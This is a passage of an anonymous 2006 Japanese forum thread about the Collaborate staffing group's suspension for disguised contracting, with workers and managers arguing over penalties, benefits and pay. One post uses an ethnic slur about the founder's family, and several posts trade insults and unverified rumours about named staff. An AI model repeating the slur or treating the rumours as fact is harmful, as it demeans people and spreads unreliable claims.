あれは独自の製品技術を持ち合せていないと、まず何処も相手してく
れないモンだよ。栗系の会社が、自社製品で半導体や機器部品を作っ
ているなんて聞いた事ないし。

597 :名無しさん@そうだ登録へいこう:2006/10/07(土) 01:32:50 ID:Hz1hTmK20
俺は松下子会社ですよ!

エイムに代わるみたい!まぁ8月から徐々にエイムに代わってるんだけどね!

今回の松下の報道ってコラボをはずしてエイムに変えるための手段だったりして!

598 :名無しさん@そうだ登録へいこう:2006/10/07(土) 01:39:53 ID:aJeX+zck0
>>596
そいう技術もってる会社をM&A


599 :名無しさん@そうだ登録へいこう:2006/10/07(土) 01:47:23 ID:DipRmjfCO
〉〉594
新規営業禁止
欠員補充はOK

600 :名無しさん@そうだ登録へいこう:2006/10/07(土) 01:51:23 ID:VrvBsaSm0
労働曲なんて、今回の騒動はまだ序曲に過ぎんよ…
これからが本番、楽しみだな!
栗グループの会社で、今年の冬季賞与なんて貰えると思うなよ。
現場の社員も含めてな…
ここまで来たら、大掛かりな偽装請負の特番が放送されるのも時間の問題だよ。
問題は、今まで起きた偽装や詐欺の事件とは比較にならない規模の
社会問題であって大手メーカ達も、今回はただでは済まない。

まず第一に、労働局はロシアの巡視艇じゃないんだからいきなり撃っては来ない。
何度も警告を受けてたのに、聞く耳持たずだったから遣られて当然です。
まぁ、何度か週刊誌で叩かれ最初は偽装請負業者が悪であると書かれてたのが
最近では受け入れ先の大手メーカ側も請負業者と同罪と書かれ始めて
漏れの、派遣先の部長も最近は労働局にビビってる姿が面白い!!


601 :名無しさん@そうだ登録へいこう:2006/10/07(土) 02:15:24 ID:iZCxxnGq0
>>599
それ何てニッポン放送??
思いっきり自爆モードだと思うのは私だけ???


602 :名無しさん@そうだ登録へいこう:2006/10/07(土) 02:17:17 ID:4BTtkTEe0
>>600
本当にそうなって欲しい・・
役所ってやるときはやるからなー・・
以前、俺の田舎でもヤクザ相手に税務署が急に大暴れしたこともあるし

今回も途中でグダグダで終わらないで欲しい
出来れば2ちゃん全体にクリスタルの正体を知らしめたい
2ちゃんねらーが猛抗議してくれれば死ぬ死ぬ詐欺みたいに
現実を動かせるんだが


603 :名無しさん@そうだ登録へいこう:2006/10/07(土) 02:29:01 ID:bPUMqzkMO
川越管内の工場で働います。誰か川越の情報キボンヌ

604 :名無しさん@そうだ登録へいこう:2006/10/07(土) 02:31:46 ID:K/fVZgtKO
>>599
欠員補充は処罰期間前に面談をした者に関しては、処罰期間中配属はオケ。
処罰期間中に面談を行っての配属は処罰無視&反省皆無のエヌジ行為。しかも悪質。
まあ、これやってしまったらコラボだけじゃなく本体も叩かれっだろ。世間はもちろん労働局(国)は、もはや僅かな悪質行為の一回すらも情けをかけずに即処罰する気マンマンだろうよ。

605 :名無しさん@そうだ登録へいこう:2006/10/07(土) 02:40:22 ID:K/fVZgtKO
・・・もしかしたら、処罰期間前に面談した者でも処罰期間中配属はエヌジかもしれないね。
期間中は新規開拓営業&欠員補充は全面禁止だから。まあ、期間中に配属したとしても配属日を誤魔化すヤツがいるかもしれないけど・・・。

606 :名無しさん@そうだ登録へいこう:2006/10/07(土) 02:45:27 ID:lVBQQ5U40
大阪労働局HPに報道記者発表資料に処分内容発見!


607 :名無しさん@そうだ登録へいこう:2006/10/07(土) 02:49:38 ID:lVBQQ5U40
処分前の契約履行は出来るということは募集も配属もできるっぽい

608 :名無しさん@そうだ登録へいこう:2006/10/07(土) 02:55:46 ID:brdypW1F0
【赤旗】偽装請負の実態調査/日本共産党 松下電器に是正求める
http://www.jcp.or.jp/akahata/aik4/2006-10-05/2006100504_02_0.html

【赤旗】市田書記局長/違法な偽装請負根絶を/首相「最善つくす」
http://www.jcp.or.jp/akahata/aik4/2006-10-05/2006100502_02_0.html

609 :名無しさん@そうだ登録へいこう:2006/10/07(土) 03:03:23 ID:Q3prPmYWO
いくら自社工場持ってたって、今のコラボに製品製造を請け負わせる会社はない。
労働局の攻撃は始まったばかり、コラボとのかかわりを避ける動きは加速の一途。
連鎖解約で正社員でさえ働く場所はなく、あふれる管理者と現場作業員。
コラボに残り再建の志を持つ者は皆無に等しく、皆他社に移る準備を急ぐ。
最悪の結末を向かえた潟Rラボレート、完全なる自滅、あとは社内社外のハイエナ達に食い尽されるのを待つのみ。
それを外から見て笑うののさん、皮口さん、そして脱栗達は最高の週末を向かえているわけだ!
これからどうするんだ?
意味不明のお詫び広告は大失敗だぞ!
とりあえず馬鹿の得意技で社長と社名をかえるんだろうけどよ。
そしたらまた労働局が怒り、再度営業停止命令だな。ははは!

610 :名無しさん@そうだ登録へいこう:2006/10/07(土) 03:06:21 ID:e0Lv9+zC0
>>609
自社工場って言っても、貸倉庫に製造設備を置いただけヤン

611 :名無しさん@そうだ登録へいこう:2006/10/07(土) 03:17:48 ID:K/fVZgtKO
>>609
>>610
その自社工場って実在するのか?元栗Gのダチに聞いたら・・・
「話はあったが結局企画倒れで幻となって消滅。」
と言ってたんだが。
ただ、新聞記事には広島にあるよーな事と来年には自社工場を10〜12工場新設して稼働させるよーな事が掲載されてたが・・・。

612 :名無しさん@そうだ登録へいこう:2006/10/07(土) 03:58:07 ID:gH1ebp5J0
>>609
こいつの文章頭悪そう。。

613 :名無しさん@そうだ登録へいこう:2006/10/07(土) 04:40:45 ID:e0Lv9+zC0
>>611
新聞に甲府と広島の自社工場(貸倉庫)の写真が、謝罪広告と共に出てたよ。

614 :名無しさん@そうだ登録へいこう:2006/10/07(土) 04:43:32 ID:r1VR4cfW0
地球滅亡の日が確定となった時、
TCSのたかやまをやりにいく

615 :名無しさん@そうだ登録へいこう:2006/10/07(土) 05:06:20 ID:Ua+YQnBg0
>>611
おまえのダチって嘘つきだな

616 :名無しさん@そうだ登録へいこう:2006/10/07(土) 05:28:17 ID:9CmLjE2/0

雇い入れ時健康診断、定期健康診断、特殊健康診断
作業服&保護具無償貸与
社会保険即日加入
有給休暇取得寛容
冠婚葬祭は祝儀、香典&電報
解雇予告手当、有給買取
退職理由は会社都合

他社と比べて何が劣ってる?
そんでコラボから他社へ切り替えて何のメリットがあるの?
コラボの次は他社が行政のターゲットになるんじゃね?

それと偽装請負契約なのに派遣先とか言ってるヤツは頭わるい確定w

617 :名無しさん@そうだ登録へいこう:2006/10/07(土) 05:36:03 ID:e0Lv9+zC0
>>616
この条件だけを見ると、確かに優良企業だな。
俺は一現場スタッフなのに、俺の親父がなくなったとき、葬儀にコラボから香典と電報と花がきたときには、少しうれしかった。

今はコラボを辞めたけど、今の勤めている町工場じゃそんなんケチってしなさそうで。

618 :名無しさん@そうだ登録へいこう:2006/10/07(土) 05:46:29 ID:AkTttXm8O
コラボで解約されても契約ライン工員は、他社で、ライン工員やればいいから問題ないだろう。夢のない人生に変わりはないからね。むしろ、事業所長や管理者のダメージが大きいよ。今更、ライン工員になるのも辛いわな。

619 :名無しさん@そうだ登録へいこう:2006/10/07(土) 06:13:39 ID:08FoQjJZ0
エイムってアクティスの元社長がいわくつきで移籍した会社だっけ?

620 :名無しさん@そうだ登録へいこう:2006/10/07(土) 06:31:44 ID:2XBo4lsi0
>>616
有給買取りなんてしてないぞ。

621 :名無しさん@そうだ登録へいこう:2006/10/07(土) 07:01:35 ID:k7pcxZSY0
>>620
これ今やったら、労働基準監督署かどっかの役所に大目玉食らうはずだが
禁止のはずだけど。もうかなり前から

622 :名無しさん@そうだ登録へいこう:2006/10/07(土) 07:14:50 ID:pOimj1zUO
>>620有給買い取りしてるよ
犯罪だそうだ…
事業停止って何をしたらダメなんだ?
これからどうなるんだ?
現場は全く変化がないんだが…
所長や管理が、のん気なのはそれのせいじゃないのか?

623 :名無しさん@そうだ登録へいこう:2006/10/07(土) 07:45:49 ID:NdgJJfuEO
>>618オレのとこのコラボの諸君は派遣契約だから、コラボが今回撤退決まったが、他の派遣会社にすぐスライド出来ない。どうすんだろ、あいつら。

624 :名無しさん@そうだ登録へいこう:2006/10/07(土) 08:02:47 ID:irrQdd+tO
>>616

会社都合で退職したコラボの人の話は聞いたことがありません。
作業が遅かったり、ミスで首になった人は皆自己都合です。


625 :名無しさん@そうだ登録へいこう:2006/10/07(土) 08:03:28 ID:U+1ZBbBR0
名古屋は数百人すべて転籍できるみたい。寮も正社員も含め待遇も全くかわらず他社が引き継ぐらしい。処分をうけて一方的に○菱に切られたんだと。

626 :名無しさん@そうだ登録へいこう:2006/10/07(土) 08:03:38 ID:NUqeM9iP0
>>559
きのうもそれとなく書いたけど、話題にしなければ普段通りって感じ
営業所名は、書くとばれるかもしれないので伏せる
まあ、なんかあれば噂が流れてくるでしょう

627 :名無しさん@そうだ登録へいこう:2006/10/07(土) 08:07:18 ID:NdgJJfuEO
>>617本当に冠婚葬祭が行われているかチェックの意味もある。

628 :名無しさん@そうだ登録へいこう:2006/10/07(土) 08:08:51 ID:m5JpfLao0
請負会社○
派遣会社×
請負業界○
派遣業界×

629 :名無しさん@そうだ登録へいこう:2006/10/07(土) 08:14:21 ID:m5JpfLao0
たとえば1803清水建設
建設請負業
指揮命令系統は自社

630 :名無しさん@そうだ登録へいこう:2006/10/07(土) 08:17:32 ID:m5JpfLao0
コラボレート?
製造請負業
指揮命令系統は自社?
制服の違い?ライン管理は?請負先社員との混在作業?作業指導は?
土地建物製造設備の賃貸借契約?時間単価契約?

631 :名無しさん@そうだ登録へいこう:2006/10/07(土) 08:59:58 ID:qy+EDlrD0
時間単価契約は、間違っても企業側と結んでいる事はないな。
まあ「覚書」に本音を色々書いてあるから・・・

632 :名無しさん@そうだ登録へいこう:2006/10/07(土) 09:04:50 ID:m5JpfLao0
覚書 裏○
業務請負契約書 表×

営業ですね!

633 :名無しさん@そうだ登録へいこう:2006/10/07(土) 09:06:19 ID:qy+EDlrD0
プロと呼んで下さい

634 :名無しさん@そうだ登録へいこう:2006/10/07(土) 09:37:40 ID:lVESvx8dO
誰か埼玉県S市旧タイアップ、派遣先Mト〇〇に在席中の方います!?       そこ大変な事になりますよこれから・・・

635 :名無しさん@そうだ登録へいこう:2006/10/07(土) 09:41:57 ID:lj9YrK1N0
>>594
その掲載契約が10月2日以前なら無問題のはず・・・

>>606
・・・激しく外出ですが・・・

>>609
事業停止命令はもうないよ、切っちゃったからな。やるとしたらそれ以上。

事業廃止命令ないし刑事事案発展はそう遠くなさそうだな・・・

636 :名無しさん@そうだ登録へいこう:2006/10/07(土) 09:57:14 ID:Q3prPmYWO
以前は反論反撃の書き込みがあったが、さすがに今回はコラボ擁護の書き込みはないな。
まだコラボに在籍している幹部もいるはずだが。
今回の件をどう捉えているのか、ぜひ知りたいものだ。

637 :名無しさん@そうだ登録へいこう:2006/10/07(土) 10:25:55 ID:qy+EDlrD0
ベテラン社員だけど、正直潰れて欲しいよ。でも断言するが、今回のでは
潰れないな。内部も思いのほか静かだし。

638 :名無しさん@そうだ登録へいこう:2006/10/07(土) 10:32:39 ID:NdgJJfuEO
冷静に考えれば、今回のコラボはスケープゴートだ。偽装請負など派遣会社なら常態化していたし。製造メーカーに法令遵守の意識があれば、起き得ない問題だ。

639 :名無しさん@そうだ登録へいこう:2006/10/07(土) 10:34:56 ID:TN0WpcUD0
偽装請負に関しての話題は今がピークだろうな。
もうしばらくで下火になる。
なんだかんだ言っても誰が苦しむ訳でなく
そんな状況は変わらんだろ

640 :名無しさん@そうだ登録へいこう:2006/10/07(土) 10:36:07 ID:9ILKA8AJ0
>>633
>>637
プロ中のプロの方でしたか。
私は総合サービス時代から5年ほど営業をしていました。
雑魚は文句も言いますがな、がんばられてくださいね。
林さんや山根木さんは元気にしておられるでしょうか?

641 :名無しさん@そうだ登録へいこう:2006/10/07(土) 10:41:23 ID:qy+EDlrD0
>>640
ちょっwww!
総合サービスって!大先輩じゃないっスかw

正直、最近は勤続が5年を超えるような若手すら稀になってます。
山根木さんを始めNo.2候補は次々と林に抹殺されていって残ってません。
今は息子の時代ですね。

642 :名無しさん@そうだ登録へいこう:2006/10/07(土) 10:43:45 ID:4HZ/OVd10
>>606
本当か?福○は欠員補充って行ってどんどん配属してるぞ!しかもクリスタル○ービスかスタッ○を使って配属して子ラボが管理してるよ!これってどうよ??

643 :名無しさん@そうだ登録へいこう:2006/10/07(土) 10:51:22 ID:lVBQQ5U40
>>642
二重派遣。違法。死ぬ。

644 :名無しさん@そうだ登録へいこう:2006/10/07(土) 10:53:53 ID:9ILKA8AJ0
>>641
私は昭和入社ですから。ココもあいもかわらずですね。
ネギさんや山内さんなども、そんな扱いですか。
少しネギさにお話があったものですから寄ってみました。
ただ仕事は会社の為に働いているのでは無いですから!自分自身の為ですよ。いつもオーナーは言っていました。

お仕事がんばられてくださいね。


645 :名無しさん@そうだ登録へいこう:2006/10/07(土) 11:17:04 ID:6fTT94Gq0
>644
そんな清き時代がオーナーにもあったのですか
流石一代で築き上げた方の言葉は重いですな。

しかし時と共に心変わりがした模様ですよ。
今では社員の生活まで脅かす不安定な会社になっているにもかかわず現実を直視せず他をむいております。
いわゆる「裸の王様」になってしまわれたようです。。。

日々社員は汗を流し結晶となったギャラを蟻のように運んでるだけで
「自分自身の為に働く」と目覚めた人たちは悟りをひらき去っていく状況です。

一日を背一杯生きても「明日の自分が見えない」のが実情でしょうか
はがゆいかぎりです

646 :名無しさん@そうだ登録へいこう:2006/10/07(土) 11:35:43 ID:tA0ykz0uO
キャパを超えちゃったんだろうね
5000億企業だもんね
13万人の雇用をどうするかをもう一度
改めて考えてほしいよ
守らなければならないっつうのは大変なことです

647 :名無しさん@そうだ登録へいこう:2006/10/07(土) 11:37:30 ID:x8ptidRQ0
松下PDPは大阪労働局からの助言等に従い、請負化を実施した。
http://blog.livedoor.jp/fmwwewwmf/?blog_id=1549657

(松下PDP側の準備書面 問題部分)
大阪労働局とも適宜相談していたところ、同年11月16日、大阪労働局から
「請負業者に不足している技術を技術移転の形で補うことは可能であり、
具体的には当社の社員を請負業者に期間限定で出向させる方法もある。
期間は移転する技術内容により定めれば良いのではないか。」との示唆を
受けた。被告は、かかる示唆に基づき、出向による適正な請負化を検討し、
その検討結果(出向の人数、出向の期間等を含む。)を大阪労働局に報告し、
大阪労働局の理解を得た上で、出向による請負化を決定した。

648 :名無しさん@そうだ登録へいこう:2006/10/07(土) 12:16:19 ID:/MIQb3eF0
>>616
そんな待遇聞いたことない。
関係者の必死な擁護乙。

コラボ崩壊を止めようとしても無駄

649 :名無しさん@そうだ登録へいこう:2006/10/07(土) 12:32:57 ID:Mx50OFaN0
↑おれのとこはそうだったぞ。偽装請け負いはあったが、他社にくらべりゃまともだったよ。管理者で違うのかな

650 :名無しさん@そうだ登録へいこう:2006/10/07(土) 12:56:13 ID:oS1j2H9b0
来週の東洋経済
http://www.toyokeizai.co.jp/mag/toyo/2006/1014/np_asahi.html

651 :名無しさん@そうだ登録へいこう:2006/10/07(土) 13:17:40 ID:wV6EbaMs0
コラボありがとう。
他の派遣会社も拘束力が格段に下がったよ。
言いたい事が言えるいい時代が来そうです。

今までの恨みを晴らしてやる!

652 :名無しさん@そうだ登録へいこう:2006/10/07(土) 13:25:39 ID:6fTT94Gq0
>646
同感。

653 :名無しさん@そうだ登録へいこう:2006/10/07(土) 13:44:22 ID:K/fVZgtKO
「この世に不味い飯屋と悪党が栄える事はない。」
「手の加え過ぎた料理ほど味が不味くなる。
真実は隠そうとすればする程露呈する。
真実は、どんな事をしても隠しきれる事はない。」
コラボを含む派遣法違反を犯し、利益追求だけに固執し過ぎた私利私欲を満たす偽装請負を行うアウトソーシング業社や、経費削減の為と言えそれを承知で契約を結ぶ取引先企業には、この言葉の意味を十二分に理解してもらいたいものだ。

654 :名無しさん@そうだ登録へいこう:2006/10/07(土) 15:18:31 ID:9CmLjE2/0

>>648
こんなことで崩壊を止める気はさらさらないが
なんでそんなにコラボを批判してるのかが不思議なんですよ。
各営業所、取引先によって待遇はまちまちでしょうが
少なくとも僕の担当しているところは、他社と比較して格段に勝ってると思うのに
こんなにもクソ呼ばわりされる原因がわからない。
まあ、2chはそういう人の集合なのでしょうがないのかな。
まして崩壊後は他社が台頭したとして、また同じようにその会社を批判して
堂々巡りなのに、おかしいですよねw

ちなみに有給買取は労基の見解を元に、手当てとして支給してるので問題無
厳密にいうと有給休暇を取得できない、つまり休みを取らせないのが悪いとか。
ならば退職時に何らかの方法で対応すべきだそうです。

655 :ポンコツ:2006/10/07(土) 15:38:24 ID:uDChDizjO
広島コラボのポンコツです。
他のコラボも寸志や皆勤手当がなくなったのですか?いつだったか去年?

656 :名無しさん@そうだ登録へいこう:2006/10/07(土) 15:45:32 ID:Owjz4nc30
>>654
>>まあ、2chはそういう人の集合なのでしょうがないのかな。
じゃあ来なきゃ良いじゃん2chに
  
   糸冬 了

657 :名無しさん@そうだ登録へいこう:2006/10/07(土) 16:11:54 ID:lXoZii3V0
>>653
カブトかw

658 :名無しさん@そうだ登録へいこう:2006/10/07(土) 16:15:59 ID:8IHsLSS/O
この勢いで日研総業も消えないかな〜

659 :名無しさん@そうだ登録へいこう:2006/10/07(土) 16:25:46 ID:NUqeM9iP0
>>656
叩くしか能がないおまえが死ねばいいと思うようん
どうせコラボがなくなってもまたネタを探して叩く糞野郎なんだろ?

660 :名無しさん@そうだ登録へいこう:2006/10/07(土) 16:41:43 ID:6fTT94Gq0
>654
> 少なくとも僕の担当しているところは、他社と比較して格段に勝ってると思うのに
> こんなにもクソ呼ばわりされる原因がわからない。

外勤者は会社の中にいる管理社員と異なり
組織の中や会社の動向が見えないのです。

社内では何気ない会話の中に大きな情報があったり、
会議等で会社の動向について知る機会が多いと思います。

断片的な情報しか入って来ない彼らには不安が膨らみ不満が募る事を分かってください。
一度現場で経験されてはどうでしょう
異なる視点で会社を見て頂けたら彼らの言い分も理解できるかもしれませんよ。


661 :名無しさん@そうだ登録へいこう:2006/10/07(土) 16:53:24 ID:pOimj1zUO
>>654
あんたどこの所長?
どこの管理?
クソ呼ばわりされるのは実際クソだから仕方無いんじゃない?
この会社偽装請負だけじゃないしさ
クソはクソでしょ

662 :名無しさん@そうだ登録へいこう:2006/10/07(土) 17:24:37 ID:mP4dCMtH0
別の派遣会社の管理してる俺様登場
(・∀・)ニヤニヤ

663 :名無しさん@そうだ登録へいこう:2006/10/07(土) 18:16:06 ID:AkTttXm8O
管理者リストラに報償金出るらしいよ。 以前、荒稼ぎした営業所長は、また荒稼ぎするんだろうな。 同僚を平気で売り渡す人間しか、出世できないとんでもない会社。

664 :名無しさん@そうだ登録へいこう:2006/10/07(土) 18:17:47 ID:ZINtMU7aO
全国四十七労働局で不正経理発覚で七十億裏金作ってたんだとさ。また朝日が叩いてるわ。労働局もお互い様だな。まあ急に仕事しだす裏にはやましいことやってるからってこともあるんだろうけどよ。何を信じればいいもんかわかんねえわ。

665 :名無しさん@そうだ登録へいこう:2006/10/07(土) 18:40:08 ID:pOimj1zUO
>>664コラボが犯罪をおかしているという事実を信じたらいいじゃないか

666 :名無しさん@そうだ登録へいこう:2006/10/07(土) 18:50:57 ID:aX2UZBthO
>>664
やっぱ税金から捻出した裏金?
厚生労働省はくさい

667 :名無しさん@そうだ登録へいこう:2006/10/07(土) 18:58:24 ID:pOimj1zUO
コラボも労働局がやってた事と似たような

668 :名無しさん@そうだ登録へいこう:2006/10/07(土) 20:11:19 ID:52GWvPC50
結局、どこも同じって事。悪い事は偉い偉くないに関わらず、感情のある
動物だからやるんじゃない?

自分の働いてる会社ってみんな不満はあるよ。
でも現実は働かないと自分も家族も守れないでしょ。

669 :名無しさん@そうだ登録へいこう:2006/10/07(土) 20:20:04 ID:pOimj1zUO
なら真面目に働いて稼げ
悪事を働かずに
コラボは会社の…を…

670 :名無しさん@そうだ登録へいこう:2006/10/07(土) 20:50:10 ID:82tT1KCn0
>>644
ネギさんはジャパンクリエイトにおられるらしいですよ。
今はどうか知りませんが。

671 :名無しさん@そうだ登録へいこう:2006/10/07(土) 21:11:46 ID:rJD2sYCw0
※※※注意報!!※※※

派遣に誘うスレや書き込みが多数見られます。
奴隷商の工作員の仕業と思われます。ご注意下さい!

派遣は労働者の将来を奪います。使い捨て雇用の代表です。
派遣に「登録しない」「人に勧めない」「関わらない」の3ナイ運動を!



672 :名無しさん@そうだ登録へいこう:2006/10/07(土) 22:00:54 ID:pOimj1zUO
他の派遣会社は知らんが経験上、言える事はコラボはやめとけ。
偽装請負以外にも余罪があるかもしれんしな
金に心が支配されてしまう弱い人間になりかねんぞ
昇格話しには気をつけろ

673 :名無しさん@そうだ登録へいこう:2006/10/07(土) 22:32:16 ID:VsHzbwRP0
金に心が支配って…
コラボの管理者と所長の年収知ったらびびるよ。安くてやっとれんよまじで

674 :名無しさん@そうだ登録へいこう:2006/10/07(土) 23:02:22 ID:4Q9npB9V0
そうそうコラボはやめとけ 俺なんか(イバラギ)駐車場代ボッタされてたし
 5千円なのに1万円もピンハネされてたし 
その言い訳は「あっ、あのスペースだけ、たっ他人名義だから」バレバレの言い訳しやがって
 無論その月で締めで辞めたのだが

675 :名無しさん@そうだ登録へいこう:2006/10/07(土) 23:07:48 ID:XT8203PZ0
山根木さん、ジャパンクリエイトなのかよ・・・。
ここって五十嵐が独立して作ったところだろ?

676 :名無しさん@そうだ登録へいこう:2006/10/07(土) 23:20:46 ID:pOimj1zUO
>>673あんたどこの所長ですか?どこの管理者ですか?年600はあるだろ?
嘘をつくな嘘を。なんだ?嘘をついて稼ぐのが仕事か?嘘をつくなよ。嘘はよくないぞ。
ほんとに少ないのか?兵隊の額を見てから、ものを言え、嘘つき
嘘つくなよ!

677 :名無しさん@そうだ登録へいこう:2006/10/07(土) 23:41:36 ID:K/fVZgtKO
何となく思ったんだけど・・・茨木だったと思うが、ここ数ヵ月で現場作業員を契約社員からコラボ正社員に数名ずつ雇用契約変更してるだろ?この現場正社員になったヤツらは、今後どーなるんだろ?
例の自社工場へ強制転勤なのか?
派遣社員に雇用契約切り換えで現状の現場なのか?
それとも、コラボの後釜の同業他社へ現雇用形態維持もしくは派遣契約でスライドなのか?
何にしても、現場正社員がデメリット大っぽいな。
管理者クラスは別だが・・・どうせ、まんま状態でコラボ内営・事業所移動だろう。

678 :名無しさん@そうだ登録へいこう:2006/10/07(土) 23:49:10 ID:XT8203PZ0
>>676
所長は450万/年ですよ・・・。600いくのは既婚者で勤続が長くて他の所長の
数倍の苦労を背負い込みそうな大きい営業所の所長だけです。

つーか兵隊さんよ、営業所長の仕事は兵隊さんの辛さの比じゃないぞ?
ただの営業にあげてやったやつでさえ、9割は1年で辞めていくというのに・・・

679 :名無しさん@そうだ登録へいこう:2006/10/08(日) 00:00:16 ID:9CmLjE2/0

>>660
現場からの登用で事業所長してます。
管理になってからも、欠勤対応や忙しいときは現場で仕事してました。
自分の担当してるとこでは、ここで言われてるほどの不満は出てません。
まあ、田舎なので和気藹々とみんな仲良くやってる感じなので
井の中の蛙で満足してるのかもしれませんね。

で、僕が不思議でならないのが他社と比べてってところです。
クソなコラボになぜこんなにも執着しているのがとても不思議です。

>>661
クソじゃない会社を、どうか教えてくさいませm(__)m

680 :社員の皆さん、お疲れ様です:2006/10/08(日) 00:08:12 ID:dUyMcGvj0
クリスタル本体は、上納金さえゲットできれば良いので
派遣業界・請負業界の将来など感心無し。

林一族は金を貯め・新規進出した事業の中で一つでも物になる
事業が有れば安泰。取得した不動産の賃貸収入だけで生活できれば
言うこと無い。
そのためにも、社員の皆さんは、もっと稼いで下さい。お願いします。

681 :名無しさん@そうだ登録へいこう:2006/10/08(日) 00:39:58 ID:KzdBk4tW0
林ってことはチョンなの?クリスタルって?普通の日本人?

682 :名無しさん@そうだ登録へいこう:2006/10/08(日) 00:47:54 ID:J7ODv1Y60
本当はリンって読み方するって聞いたよ。

683 :名無しさん@そうだ登録へいこう:2006/10/08(日) 04:01:06 ID:olSLcw7S0
NO

684 :名無しさん@そうだ登録へいこう:2006/10/08(日) 06:20:20 ID:Ez8AouxgO
2週間ヒマだね。 営業は何してるの? 転職活動か? 辞めてもらえるとクリスタルは喜ぶ。

685 :名無しさん@そうだ登録へいこう:2006/10/08(日) 06:33:00 ID:0gKWAMl+O
年450…貰いすぎですね!
どう辛いんですか?今は偽装請負の件で極僅かくらいは辛いでしょうけど。

でもやはり年600くらいですね。椅子に座って話をするだけで。

仕事してるのに現状が変わらないのは何故?目に見える成果が全くなしで仕事してます?辛いです?年450?兵隊の待遇は悪化する一方で?え?ナメるのもいい加減にしろ

何が辛いんですか?人間関係辛いのはあんたらだけじゃないのわかってんの?現場も人間関係ラクじゃありません

偽装請負の対応の仕事、具体的にどういうことをしているのか言えますか?

言えるわけないよね。嘘つきじゃないと。
偽装請負のほとぼりが冷めた後はコラボはどうなるんですか?
所長や管理クラスがわからないじゃ下はついてこないですよ。どういう事をすれば兵隊から完全に失った信頼を取り戻せるか。実行できているのはMさんだけ。だから信頼は厚い。Mさん以外は管理不適性!

686 :名無しさん@そうだ登録へいこう:2006/10/08(日) 07:14:46 ID:/3TI6+2lO
おい!今朝の折り込み広告でコラボ水戸営業所(0120-27-5747)が求人募集してるぞ。どういう事だよ?

687 :名無しさん@そうだ登録へいこう:2006/10/08(日) 07:19:33 ID:1ltL/DmEO
労働局のHPみてみなよ
禁止されてないから

大阪労働局だからね♪


688 :名無しさん@そうだ登録へいこう:2006/10/08(日) 09:02:25 ID:9wthsgiE0
685
わかってないな


689 :名無しさん@そうだ登録へいこう:2006/10/08(日) 09:09:31 ID:EgSlf6yq0
>一度現場で経験されてはどうでしょう
>一度現場で経験されてはどうでしょう
>一度現場で経験されてはどうでしょう
>一度現場で経験されてはどうでしょう
>一度現場で経験されてはどうでしょう
>一度現場で経験されてはどうでしょう

まあこいつばっかりじゃないけど、思い込みとかデマばかりで有益な情報が少ないな


690 :名無しさん@そうだ登録へいこう:2006/10/08(日) 10:06:35 ID:0gKWAMl+O
>>688あなたはわかってるんですか?
じゃあ説明してくださいな
自分がわかってないのに、『わかってないな』なんて言えないっしょ
言ってみなよ

691 :名無しさん@そうだ登録へいこう:2006/10/08(日) 10:12:05 ID:0gKWAMl+O
>>688あなたはわかってるんですか?
じゃあ説明してくださいな
自分がわかってるから『わかってないな』なんて言えたんっすよね?
まさかわかってないのに言ったとかダサいオチじゃないっすよね?
遠慮なく言ってくださいよ
所長や管理のとるにたらない悩みを我々現場の雑兵達は聞きたいわけですよ
仮に重い悩みだとしても、それなりの給与は得ているわけで、イヤなら辞めちまえという事になりますわな?


692 :名無しさん@そうだ登録へいこう:2006/10/08(日) 10:15:18 ID:Apfuq5Aw0
埼玉北部もコラボ本日フツウに折込求人アリ。
コラボの件知らないヤツもいるのが現実だろうし。

693 :名無しさん@そうだ登録へいこう:2006/10/08(日) 10:28:46 ID:K7AT6QdT0
>>679
おまえ特定できるぞ。
現場からの所長なんて限られてるんだからww
なぁ○本?

694 :名無しさん@そうだ登録へいこう:2006/10/08(日) 12:19:19 ID:ycf06jZR0
折り込み広告は命令がきちんと履行されていればそろそろ影響が出てくる。
今のはたぶん処分以前に発注したやつだろうから。

折り込み広告の原稿つくって印刷して新聞屋にもちこむまで4〜5営業日ほどかかるはずだし

695 :名無しさん@そうだ登録へいこう:2006/10/08(日) 13:33:26 ID:0PM1CN8n0
業務停止で慌てて社会保険とかの加入させてたけど 住○電工の伊丹で



696 :名無しさん@そうだ登録へいこう:2006/10/08(日) 14:23:36 ID:epSF36dKO
社保庁も過去2年さかのぼって請求しろよ、裏金作るの忙しくて出来ないのか

697 :名無しさん@そうだ登録へいこう:2006/10/08(日) 14:23:53 ID:EgSlf6yq0
>>693
おれが知ってる所長も現場あがりだけど、○本じゃないし、>>679じゃないな
ほんとここしったかでものいう馬鹿が多いね
だから、現場あがりの十分現場を経験した管理に

>一度現場で経験されてはどうでしょう
>一度現場で経験されてはどうでしょう
>一度現場で経験されてはどうでしょう
>一度現場で経験されてはどうでしょう
>一度現場で経験されてはどうでしょう
>一度現場で経験されてはどうでしょう

などと寝言いうんだwww

698 :名無しさん@そうだ登録へいこう:2006/10/08(日) 14:24:08 ID:Ez8AouxgO
これからは、偽装請負はなくなり、派遣になるわけね。
やっとまともな競争するわけね。
ところで大量に余った管理者どうするの?現場?解雇?

699 :名無しさん@そうだ登録へいこう:2006/10/08(日) 14:48:26 ID:epSF36dKO
コラボが撤退した所は偽装請負推進でOK?

700 :名無しさん@そうだ登録へいこう:2006/10/08(日) 14:48:42 ID:0gKWAMl+O
解雇

現場に入って役にたつ人だけ残せばいい

現場の奴らに誰は解雇で誰は現場残留って感じで選ばせればいい

大半が解雇!!

701 :名無しさん@そうだ登録へいこう:2006/10/08(日) 15:00:57 ID:B7byDsk10
            .i⌒i スッ
            | 〈
      ∧_∧ / .フ
      ( ^_ゝ^)/  |
    /     /.  ノ
   / /\   /   |
 _| ̄ ̄ \ /.  ノ
 \ ̄ ̄ ̄ ̄ ̄ ̄ ̄(よ○おか)
  ||\             \
  ||\|| ̄ ̄ ̄ ̄ ̄ ̄ ̄|| ̄
  ||  || ̄ ̄ ̄ ̄ ̄ ̄ ̄||
     .||              ||


               |
      ∧_∧    .||
      ( ^_ゝ^)    |||
    /     \.   |||| バチーン!!
   / /\   / ̄\ ||||      .'  , ..
 _| ̄ ̄ \ /  ヽ \从// ・;`.∴ '
 \ ̄ ̄ ̄ ̄ ̄ ̄ \__) < ,:;・,'
  ||\            \ .   ' .' , ..
  ||\|| ̄ ̄ ̄ ̄ ̄ ̄ ̄|| ̄
  ||  || ̄ ̄ ̄ ̄ ̄ ̄ ̄||



702 :名無しさん@そうだ登録へいこう:2006/10/08(日) 15:04:03 ID:fbUdfdl10
だとすれば・・・

経費節約で派遣元社員とスタッフの大半が解雇だな
特にスタッフなんてイラネ

703 :名無しさん@そうだ登録へいこう:2006/10/08(日) 15:12:06 ID:7GB3jbTp0
今日の求人広告に求人募集出てた
I県U市のM社の求人募集


